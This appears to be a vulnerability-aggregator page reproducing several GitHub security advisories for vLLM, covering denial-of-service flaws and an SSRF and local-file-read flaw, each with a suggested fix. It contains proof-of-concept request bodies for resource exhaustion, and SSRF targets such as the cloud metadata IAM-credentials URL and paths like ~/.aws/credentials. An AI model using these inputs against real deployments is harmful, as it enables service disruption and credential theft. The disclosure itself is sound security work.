vLLM before 0.27.0 fails to properly classify DeepStream as a GPU backend and omits pixel-limit enforcement in its decode path. Unauthenticated attackers can activate DeepStream at request time to initialize the process-wide GPU decode pool and submit video that bypasses resource controls, causing partial denial of service for concurrent requests.

First published (updated )
Severity
6.9
EPSS
0.52%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

vLLM through 0.29.0 contains a resource exhaustion vulnerability in MooncakeConnector where rejected prefill requests create ownerless transfer placeholders that are never reclaimed. Attackers can send rejected requests to exhaust sender task pools, causing valid requests to be delayed by up to 480 seconds while health checks continue returning success.

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

The /v1/completions request model accepts prompt as a list of text prompts or a list of token-id prompts without any outer prompt-count bound. The serving path turns each element into a separate engine input, creates one engine generator per element, merges all generators, and allocates a response slot per prompt. An authenticated API client can therefore turn one request into an attacker-chosen number of backend subrequests before any aggregate request-count budget is enforced.

Technical Details

CompletionRequest.prompt allows both list-shaped prompt inputs and scalar prompts:

python vllm/entrypoints/openai/completion/protocol.py prompt: ( list[Annotated[int, Field(ge=0)]] | list[list[Annotated[int, Field(ge=0)]]] | str | list[str] | None ) = None

The validator only requires some prompt-like input to be present:

python def validatepromptandpromptembeds(cls, data): prompt = data.get("prompt") promptembeds = data.get("promptembeds") ... if promptisempty and embedsisempty: raise VLLMValidationError(...)

The renderer then expands list-shaped prompts as a sequence. prompttoseq() wraps a scalar string or a single token-id list, but returns a list[str] or list[list[int]] unchanged:

python vllm/renderers/inputs/preprocess.py def prompttoseq(promptorprompts): if isinstance(promptorprompts, (dict, str, bytes)) or ( len(promptorprompts) > 0 and islistof(promptorprompts, int) ): return [promptorprompts]

return promptorprompts

OnlineRenderer.preprocesscompletion() appends that whole sequence, and the renderer processes every element:

python vllm/renderers/onlinerenderer.py prompts = listSingletonPrompt | bytes if promptinput is not None: prompts.extend(prompttoseq(promptinput)) ... parsedprompts = [ prompt if isinstance(prompt, bytes) else parsemodelprompt(modelconfig, prompt) for prompt in prompts ] return await renderer.rendercmplasync(parsedprompts, tokparams, ...)

Finally, completion serving creates one backend generator and one response slot per rendered prompt:

python vllm/entrypoints/openai/completion/serving.py generators: list[AsyncGenerator[RequestOutput, None]] = [] for i, engineinput in enumerate(engineinputs): ... generator = self.engineclient.generate(...) generators.append(generator)

resultgenerator = mergeasynciterators(generators) numprompts = len(engineinputs) ... finalresbatch: list[RequestOutput | None] = [None] numprompts

The violated invariant is that one HTTP request should have a bounded backend request count. Current code enforces per-prompt token and sampling limits, but not the number of prompts in the outer completion request.

PoV

A minimal oversized request keeps normal generation parameters small but supplies a large outer prompt list:

json { "model": "served-model", "prompt": ["x", "x", "x"], "maxtokens": 1, "n": 1 }

Scaling the prompt array to tens or hundreds of thousands of short entries makes the server allocate, preprocess, schedule, merge, and buffer one subrequest per entry. The same applies to token-id prompt lists:

json { "model": "served-model", "prompt": [[1], [1], [1]], "maxtokens": 1, "n": 1 }

The intended negative control is a scalar prompt:

json { "model": "served-model", "prompt": "x", "maxtokens": 1, "n": 1 }

The scalar string is wrapped as one prompt; the list form is not bounded and fans out by list length.

Impact

An authenticated API client can make one /v1/completions request consume CPU, memory, async task scheduling, engine request slots, and response buffering proportional to an attacker-chosen outer prompt list. This can starve or disrupt other tenants sharing the same vLLM server. The report does not claim unauthenticated access, confidentiality impact, integrity impact, code execution, or impact where /v1/completions is not reachable by untrusted or semi-trusted clients.

Suggested Fix

Reject oversized prompt lists before renderer preprocessing. Add an outer prompt-count limit to CompletionRequest.prompt when the prompt is list[str] or list[list[int]], and consider making the limit configurable in the same style as the batch-chat and sampling-list bounds. The check should run before OnlineRenderer.preprocesscompletion() expands the prompt sequence, so oversized requests do not allocate parsed prompt lists, async render/tokenization tasks, engine generators, or response result slots.

Regression coverage should include a scalar prompt, a bounded prompt list, an oversized list[str], and an oversized list[list[int]]. The oversized requests should fail with a controlled validation error before any backend generator is created.

Affected Package/Versions

Package ecosystem: pip

Package name: vllm

Affected range confirmed by source proof: >=0.19.0, <=0.24.0; current main at cbe9c40f998f13975b967773ac7e7920e115387f remains affected.

Patched versions: unknown.

Latest release checked: v0.24.0, published on 2026-06-29.

GitHub Advisory Metadata

Package ecosystem: pip

Package name: vllm

Vulnerable version range: >=0.19.0, <=0.24.0

Patched versions: unknown

Advisory History

Public issue and PR searches for CompletionRequest prompt list, "prompt" "list[str]" "completion", and "CompletionRequest" "maxlength" did not find an existing report or fix for this exact path.

The closest published advisory is GHSA-3mwp-wvh9-7528, "OOM Denial of Service via Unbounded n Parameter in OpenAI API Server", patched in 0.19.0. This report is distinct because it keeps n=1 and uses the /v1/completions prompt outer list to create one engine request per prompt. The fix invariant is an outer prompt-count and aggregate request budget, not only a generated-sequence-count cap.

The closest public PR is vllm-project/vllm#45390, which covers multiple DoS fixes including GHSA-83mh-6mwq-3hg9 for BatchChatCompletionRequest.messages. That PR adds an outer bound to batch chat conversations, but its diff does not touch vllm/entrypoints/openai/completion/protocol.py or vllm/entrypoints/openai/completion/serving.py.

Prior local/private report families checked included pooling/rerank batch fanout, derender token-id postprocessing, explicit truncationside tokenizer-limit bypass, Python disaggregated generate prompt-length bypass, and priority scheduling. Those reports differ by endpoint, attacker-controlled field, sink, and fix surface.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

vllm/transformersutils/processors/mimov2omni.py — the multimodal processor for MiMoV2OmniForCausalLM — issues requests.get(...) directly on user-supplied image and audio URL strings and Image.open(...) on user-supplied local paths, without the SSRF / allowedlocalmediapath checks that vllm.multimodal.utils.MediaConnector was hardened with in GHSA-qh4c-xf7m-gxfc, GHSA-v359-jj2v-j536, and GHSA-pf3h-qjgv-vcpr.

This is the same bug class as those three published advisories, in a code path the patches missed. When a user passes a URL or local-file string through multimodaldata (e.g. LLM.generate(multimodaldata={"image": "http://..."})), the processor takes the unsanitized string and dispatches it without any URL-scheme allowlist, network-target allowlist, size cap, or local-path allowlist.

Details

File: vllm/transformersutils/processors/mimov2omni.py (current main)

Sink 1 — image SSRF + local-file read (fetchimage, lines 231–249):

python def fetchimage(src: Any) -> Image.Image: if isinstance(src, Image.Image): return torgb(src) if isinstance(src, bytes): return torgb(copy.deepcopy(Image.open(BytesIO(src)))) if isinstance(src, str): if src.startswith(("http://", "https://")): r = requests.get(src, timeout=30) # SSRF: no allowlist, follows redirects r.raiseforstatus() return torgb(copy.deepcopy(Image.open(BytesIO(r.content)))) if src.startswith("file://"): return torgb(Image.open(src[7:])) # arbitrary local file read if src.startswith("data:image"): ... return torgb(Image.open(src)) # fallback also opens local files raise ValueError(f"Unrecognized image source: {type(src)}")

Sink 2 — audio SSRF (around line 471):

python elif audio.startswith(("http://", "https://")): r = requests.get(audio, timeout=30) # SSRF: same pattern r.raiseforstatus() fileobj = io.BytesIO(r.content)

Reachability. fetchimage is invoked from MiMoVLProcessor.processimage:

python def processimage(self, image: ImageInput) -> torch.Tensor: kw = self.resolveimgkw(image) src = image.image if isinstance(src, (str, bytes)): src = fetchimage(src) ...

MiMoVLProcessor is wrapped by MiMoV2OmniMultiModalProcessor and registered for the MiMoV2OmniForCausalLM model architecture (vllm/modelexecutor/models/mimov2omni.py:1169). Whenever a user passes a string into multimodaldata["image"] (or ["audio"]) for this model, the unsanitized URL/path reaches the sink.

Comparison to the recent fixes. The remediation pattern adopted in the three earlier advisories was to route every external resource fetch through MediaConnector, which checks allowedlocalmediapath and applies SSRF protection before issuing the network request. chatutils.py (lines 838, 902, 924, 963, 1053, 1081) already uses self.connector.fetchimage / fetchaudio / fetchvideo. The model processor in mimov2omni.py was added later and skipped the connector — it calls requests.get and Image.open directly. Result: the public OpenAI chat-completion path is protected, but library use (LLM.generate(multimodaldata=...)), batch processing, and any other path that lets a string reach the processor receive no protection.

Impact

1. SSRF — internal-network probing / cloud-metadata theft. Standard requests.get follows redirects and accepts any URL. An attacker who controls a multimodaldata value can: - read AWS / GCP / Azure instance metadata (e.g. http://169.254.169.254/latest/meta-data/iam/security-credentials/), - probe internal services on the vLLM host (http://127.0.0.1:<port>, http://10.x.y.z), - exfiltrate via DNS / HTTP timing oracles even when the body is rejected by Image.open. 2. Arbitrary local file read via file://path (line 242) and the unguarded fallback Image.open(src) (line 248). Any file readable by the vLLM process is reachable through the model pipeline; with suitable formats this exposes /etc/passwd, ~/.aws/credentials, etc. 3. Server-side traffic generation / amplification by hammering arbitrary URLs from the vLLM host, with a 30-second timeout per request.

Suggested remediation

Replace direct requests.get and bare Image.open paths with MediaConnector.fetchimage / fetchaudioasync (or pass the inputs through MediaConnector before they reach the processor):

python vllm/transformersutils/processors/mimov2omni.py from vllm.multimodal.utils import MediaConnector

connector = MediaConnector()

def fetchimage(src): if isinstance(src, Image.Image): return torgb(src) if isinstance(src, bytes): return torgb(copy.deepcopy(Image.open(BytesIO(src)))) if isinstance(src, str): return torgb(connector.fetchimage(src)) # delegates to the hardened path raise ValueError(f"Unrecognized image source: {type(src)}")

Same change for the audio loader at line 471. This re-uses the SSRF allowlist, allowedlocalmediapath policy, and size caps that the previous patches added.

Alternative: forbid str src from reaching the processor and require all multi-modal pre-processing to go through chatutils.py / MediaConnector before hitting the model. Larger surface change, but completes the architectural fix.

Discovery

Static review on vllm@main (HEAD as of 2026-04-30) — found by triaging the file list against the three recent SSRF advisories: the mimov2omni.py processor, added after those fixes, reintroduced the same bypass class.

Reporter

Ievgen Bondarenko — sactransport2000@gmail.com — GitHub @ibondarenko1

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
SSRF
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

Current vLLM main lets an inference request choose the PyNvVideoCodec GPU video decoder through mediaiokwargs.video.videobackend, but engine GPU memory reservation is computed only from static startup configuration and VLLMVIDEOLOADERBACKEND. If the server starts with the default OpenCV/software backend and no --mm-ipc-gpu-memory-gb budget, a client can still route a video request into the PyNvVideoCodec path after startup, causing frontend CUDA-context, decoder-surface, and decoded-frame GPU allocations that were not carved out of the engine KV-cache budget.

Technical Details

The vulnerable boundary is the split between request-time media decoding choices in the API server and startup-time memory budgeting in the engine worker. Request bodies for Chat Completions and Responses expose mediaiokwargs, and those values are forwarded to the shared media connector. For video inputs, MediaConnector.fetchvideo() copies self.mediaiokwargs["video"] into videoiokwargs, only setting a model-derived backend when videobackend is absent. VideoMediaIO.init() then consumes videobackend from those kwargs and loads that backend from VIDEOLOADERREGISTRY.

The relevant request-side source path is:

python videoiokwargs = dict(self.mediaiokwargs.get("video", {})) if "videobackend" not in videoiokwargs and ( videobackend := getvideoloaderbackendforprocessor(videoprocessor) ): videoiokwargs["videobackend"] = videobackend videoio = VideoMediaIO(imageio, videoiokwargs)

python videoloaderbackend = ( kwargs.pop("videobackend", None) or envs.VLLMVIDEOLOADERBACKEND ) self.videoloader = VIDEOLOADERREGISTRY.load(videoloaderbackend)

VideoBackend.loadbytes() then dispatches backend == "pynvvideocodec" into decodeframespynvvideocodec(), which constructs a PyNvVideoCodec decoder, creates or uses a CUDA stream, reads stream metadata, decodes selected frames on the GPU, and copies those frames into pinned host memory. The new frontend GPU memory pool accounts only for raw decoded frame bytes when a pool exists; it does not make request-time backend selection safe when no startup reservation was made.

The engine-side reservation code makes its decision from static model config and environment only:

python def usespynvvideocodecvideobackend(mmconfig) -> bool: videokwargs = mmconfig.mediaiokwargs.get("video", {}) videoloaderbackend = ( videokwargs.get("videobackend") or envs.VLLMVIDEOLOADERBACKEND ) codecbackend = videokwargs.get("backend") return ( videoloaderbackend == PYNVVIDEOCODECVIDEOBACKEND or codecbackend == PYNVVIDEOCODECVIDEOBACKEND )

python decoderreservedbytes = ( numapiservers perserverdecoderbytes if self.usespynvvideocodecvideobackend(mmconfig) else 0 ) reservedbytes = rawframereservedbytes + decoderreservedbytes if reservedbytes <= 0: return availablekvcachememorybytes

With default static video configuration, mmconfig.mediaiokwargs["video"] does not name PyNvVideoCodec and VLLMVIDEOLOADERBACKEND defaults to OpenCV/software decoding. The worker therefore reserves no PyNv decoder/CUDA-context bytes. A later request can still set mediaiokwargs.video.videobackend="pynvvideocodec" and reach the GPU decoder path because that runtime field is intentionally honored by VideoMediaIO.

PoV

An ordinary multimodal inference request can carry the backend override in the request body:

json { "model": "served-vlm", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "summarize this clip"}, {"type": "videourl", "videourl": {"url": "data:video/mp4;base64,<small-mp4>"}} ] } ], "mediaiokwargs": { "video": { "videobackend": "pynvvideocodec" } } }

The following bounded source-level check confirms the code path without allocating GPU memory:

bash git clone --filter=blob:none https://github.com/vllm-project/vllm.git cd vllm git checkout ddd3855a28a561a5bb54d380c6e6b8b1e883cc4a python3 checkpynvbackendreservation.py --repo .

PoC

The bounded check validates current source markers, simulates the exact static reservation predicate, and compares vulnerable and negative-control configurations. Key output:

json { "vulnerable": true, "head": "ddd3855a28a561a5bb54d380c6e6b8b1e883cc4a", "reservationsimulation": { "envvideoloaderbackend": "opencv", "requestselectspynvafterstartup": true, "vulnerablestaticreservedbytes": 0, "negativecontrolstaticpynvreservedbytes": 2066953011, "rawframeonlycontrolreservedbytes": 268435456, "unreserveddecoderbyteswhenonlyrequestselectspynv": 2066953011 } }

The negative control is important: when PyNvVideoCodec is selected statically, the worker reserves 2066953011 bytes per API process for decoder surfaces plus CUDA context. The vulnerable case reserves 0 bytes for the same decoder overhead because PyNvVideoCodec is selected only by the later request. A second control with static OpenCV plus mmipcgpumemorygb=0.25 reserves only the raw-frame semaphore budget and still does not reserve PyNv decoder/CUDA-context bytes.

Impact

An attacker who can submit video requests to a vLLM deployment with PyNvVideoCodec available can force frontend GPU decoding even when the engine did not reserve memory for that decoder during startup. On high-utilization serving deployments, the unreserved CUDA context, retained decoder surfaces, and decoded-frame allocations can reduce or exhaust GPU memory that the engine assumed was available for weights, activations, or KV cache, causing request failures, worker crashes, or service-level denial of service.

Suggested severity is Medium with conservative CVSS v3.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5). If a deployment exposes the affected API without authentication, PR:N would raise the deployment-specific score. Suggested weaknesses are CWE-770 (Allocation of Resources Without Limits or Throttling) and CWE-400 (Uncontrolled Resource Consumption). This should not be rated Low because the affected resource is shared GPU memory in the serving path and the code already treats the PyNv decoder/CUDA-context footprint as large enough to reserve at startup when statically configured.

Limitations: exploitation requires a GPU deployment where PyNvVideoCodec is installed and usable, and the request must reach a video-capable model/path. The issue does not claim code execution, data disclosure, or SSRF.

Suggested Fix

Do not allow untrusted request fields to select a GPU decoder that was not included in startup memory reservation. The simplest fix is to reject request-level mediaiokwargs.video.videobackend="pynvvideocodec" unless the static server configuration already selected PyNvVideoCodec and reserved its decoder/CUDA-context budget.

If dynamic backend selection remains supported, split software and GPU decoder policies: allow request selection among CPU/software decoders only, require an explicit operator allowlist for GPU decoders, and include every request-selectable GPU decoder in the startup reservation predicate. Add regression coverage for static OpenCV startup config plus request-level PyNvVideoCodec override, and preserve the negative control where static PyNvVideoCodec configuration reserves decoder/CUDA-context bytes.

Affected Package/Versions

Package: vllm from vllm-project/vllm.

Confirmed affected: current main at ddd3855a28a561a5bb54d380c6e6b8b1e883cc4a.

Introduced by: af16446bf39de047ab57649c933063cf1cbf1e50, Vram semaphore infra (#44465), committed 2026-06-26T17:32:51-07:00.

Release status checked: git tag --contains af16446bf returned no release tags in the fresh checkout. GitHub repository metadata reported latest published release v0.23.0 published 2026-06-15T05:27:20Z; the local v0.24.0 tag also does not contain the introducing commit. The affected range should therefore be current main builds containing af16446bf until fixed, rather than a confirmed released-version range.

Advisory History

Public vLLM advisories checked included audio decompression-bomb DoS, unbounded video/jpeg frame-count DoS, MediaConnector SSRF, video processing RCE, multimodal embedding DoS/RCE, GGUF GPU memory exposure, multimodal hashing, and other request-parameter DoS classes. None matched request-selected PyNvVideoCodec or the static VRAM reservation mismatch.

Prior local/private vLLM report families checked included request-level mediaiokwargs reopening video/jpeg frame fanout, GLM video metadata amplification, and audio media decode duration-limit bypass. Those reports share the request-level media kwargs boundary, but they target CPU/media decode limits or model metadata amplification. This report targets a different privileged asset and fix surface: GPU decoder selection after engine startup memory reservation.

Focused GitHub issue/PR searches for pynvvideocodec, mmipcgpumemory, videobackend mediaiokwargs, Vram semaphore infra, and frontend multimodal GPU decoding found the PyNvVideoCodec zero-copy RFC, an old do-not-review prototype, merged PR #44465, and an unrelated TorchCodec backend PR. No public issue or PR described this security boundary.

Appendix: Bounded Source-Level Check

python #!/usr/bin/env python3 from future import annotations

import argparse import json import re import subprocess from pathlib import Path

MIB = 1024 1024 GIB = 1024 MIB

def read(repo: Path, rel: str) -> str: return (repo / rel).readtext(encoding="utf-8")

def constint(source: str, name: str) -> int: expr = re.search(rf"^{name}\s=\s(.+)$", source, flags=re.MULTILINE).group(1).strip() if expr == "128 MiBbytes": return 128 MIB if expr == "int(1.8 1024 MiBbytes)": return int(1.8 1024 MIB) if expr == "1": return 1 raise AssertionError(expr)

def usespynvstatic(staticmediaiokwargs: dict[str, dict[str, str]], envbackend: str) -> bool: videokwargs = staticmediaiokwargs.get("video", {}) videoloaderbackend = videokwargs.get("videobackend") or envbackend codecbackend = videokwargs.get("backend") return videoloaderbackend == "pynvvideocodec" or codecbackend == "pynvvideocodec"

def reservebytes(staticmediaiokwargs, envbackend, mmipcgpumemorygb, decoderbytes, cudacontextbytes, retaineddecoders): rawframereservedbytes = int(mmipcgpumemorygb GIB) perserverdecoderbytes = decoderbytes retaineddecoders + cudacontextbytes decoderreservedbytes = perserverdecoderbytes if usespynvstatic(staticmediaiokwargs, envbackend) else 0 return rawframereservedbytes + decoderreservedbytes

parser = argparse.ArgumentParser() parser.addargument("--repo", required=True, type=Path) repo = parser.parseargs().repo.resolve()

mediavideo = read(repo, "vllm/multimodal/media/video.py") connector = read(repo, "vllm/multimodal/media/connector.py") chatprotocol = read(repo, "vllm/entrypoints/openai/chatcompletion/protocol.py") responsesprotocol = read(repo, "vllm/entrypoints/openai/responses/protocol.py") gpuworker = read(repo, "vllm/v1/worker/gpuworker.py") videocore = read(repo, "vllm/multimodal/video.py")

assert "mediaiokwargs: dict[str, dict[str, Any]] | None = Field(" in chatprotocol assert "mediaiokwargs: dict[str, dict[str, Any]] | None = Field(" in responsesprotocol assert 'videoiokwargs = dict(self.mediaiokwargs.get("video", {}))' in connector assert 'if "videobackend" not in videoiokwargs and (' in connector assert 'kwargs.pop("videobackend", None) or envs.VLLMVIDEOLOADERBACKEND' in mediavideo assert "elif backend == PYNVVIDEOCODECVIDEOBACKEND:" in videocore assert 'videokwargs = mmconfig.mediaiokwargs.get("video", {})' in gpuworker

decoderbytes = constint(videocore, "PYNVVIDEOCODECDECODERGPUMEMORYBYTES") retaineddecoders = constint(videocore, "PYNVVIDEOCODECMAXRETAINEDDECODERS") cudacontextbytes = constint(videocore, "PYNVVIDEOCODECCUDACONTEXTBYTES") perserverdecoderbytes = decoderbytes retaineddecoders + cudacontextbytes

vulnerablestaticreserved = reservebytes({}, "opencv", 0.0, decoderbytes, cudacontextbytes, retaineddecoders) negativecontrolreserved = reservebytes({"video": {"videobackend": "pynvvideocodec"}}, "opencv", 0.0, decoderbytes, cudacontextbytes, retaineddecoders) rawframeonlycontrol = reservebytes({}, "opencv", 0.25, decoderbytes, cudacontextbytes, retaineddecoders)

head = subprocess.checkoutput(["git", "-C", str(repo), "rev-parse", "HEAD"], text=True).strip() print(json.dumps({ "head": head, "vulnerable": vulnerablestaticreserved == 0 and negativecontrolreserved == perserverdecoderbytes, "reservationsimulation": { "envvideoloaderbackend": "opencv", "requestselectspynvafterstartup": True, "vulnerablestaticreservedbytes": vulnerablestaticreserved, "negativecontrolstaticpynvreservedbytes": negativecontrolreserved, "rawframeonlycontrolreservedbytes": rawframeonlycontrol, "unreserveddecoderbyteswhenonlyrequestselectspynv": perserverdecoderbytes, }, }, indent=2, sortkeys=True))

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203